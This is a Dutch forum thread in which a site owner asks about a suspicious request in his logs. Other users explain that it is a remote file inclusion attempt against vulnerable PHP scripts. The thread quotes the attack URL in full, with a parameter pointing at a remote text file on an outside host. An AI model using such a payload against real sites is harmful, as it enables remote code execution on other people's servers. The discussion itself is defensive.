Exploit in php?

[shuyg]

Ik kwam vandaag de volgende URL tegen?
/products/?id=34/?_SERVER[DOCUMENT_ROOT]=http://sito.blackdrag0n.net/Cartoon/idnew.txt?

Dit lijkt op een exploit voor php. Is er iemand bekend met een exploit?

Bij mij heeft het dus geen effect gehad, maar ik kan me voorstellen dat er bij een iets andere configuratie wel problemen zouden zijn.

[Mikey]

niet in php, maar in de code van het betreffende product :)

[Stewie]

Er zijn wat pauper producten die daar kwetsbaar voor zijn. Zo'n "aanval" krijgen wij elke dag wel tienmaal op de site. IPs worden netjes gepermbanned.

[shuyg]

Het is een eigen script, dus het is geen standaard product. Enig idee welk product hier dan kwetsbaar voor zou zijn?

[Mikey]

zoek maar op remote file inclusion exploit :)

[Ahmed]

Het enige wat dat script doet, is gegevens over de server opslaan

[Stewie]

Het enige wat dat script doet, is gegevens over de server opslaan
Dit script misschien wel, maar zodra ze dat kunnen, kunnen ze ook andere code uitvoeren op het systeem.

[shuyg]

Ja, dat zijn bekende exploits.
Wat ik meer opvallend vond, is de poging om $_SERVER['DOCUMENT_ROOT'] een andere waarde te geven. Dat lijkt me alleen mogelijk als PHP dat toe staat.